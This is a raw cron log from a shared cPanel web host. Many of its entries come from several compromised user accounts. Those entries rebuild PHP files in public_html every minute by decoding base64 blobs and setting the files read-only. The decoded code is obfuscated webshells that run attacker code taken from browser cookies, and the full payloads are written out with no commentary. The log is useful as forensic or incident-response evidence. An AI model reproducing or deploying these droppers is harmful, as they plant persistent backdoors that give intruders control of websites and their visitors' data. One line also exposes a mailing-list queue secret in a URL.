Mar  2 09:17:01 medusa CROND[2673]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:17:01 medusa CROND[2676]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  2 09:17:01 medusa CROND[2677]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:17:01 medusa CROND[2678]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:17:01 medusa CROND[2680]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 09:17:01 medusa CROND[2681]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:17:01 medusa CROND[2685]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:17:01 medusa CROND[2690]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:17:01 medusa CROND[2695]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:17:01 medusa CROND[2696]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:17:01 medusa CROND[2698]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:17:01 medusa CROND[2702]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:18:01 medusa CROND[21272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:18:01 medusa CROND[21377]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:18:01 medusa CROND[21601]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:18:01 medusa CROND[21604]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Mar  2 09:18:01 medusa CROND[21606]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:18:01 medusa CROND[21612]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:18:01 medusa CROND[21609]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:18:01 medusa CROND[21607]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:18:01 medusa CROND[21611]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:18:01 medusa CROND[21615]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:18:01 medusa CROND[21616]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:18:01 medusa CROND[21614]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 09:18:01 medusa CROND[21621]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 09:18:01 medusa CROND[21630]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:19:01 medusa CROND[7928]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:19:01 medusa CROND[8053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:19:01 medusa CROND[8157]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:19:01 medusa CROND[8158]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:19:01 medusa CROND[8159]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:19:01 medusa CROND[8161]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:19:01 medusa CROND[8163]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
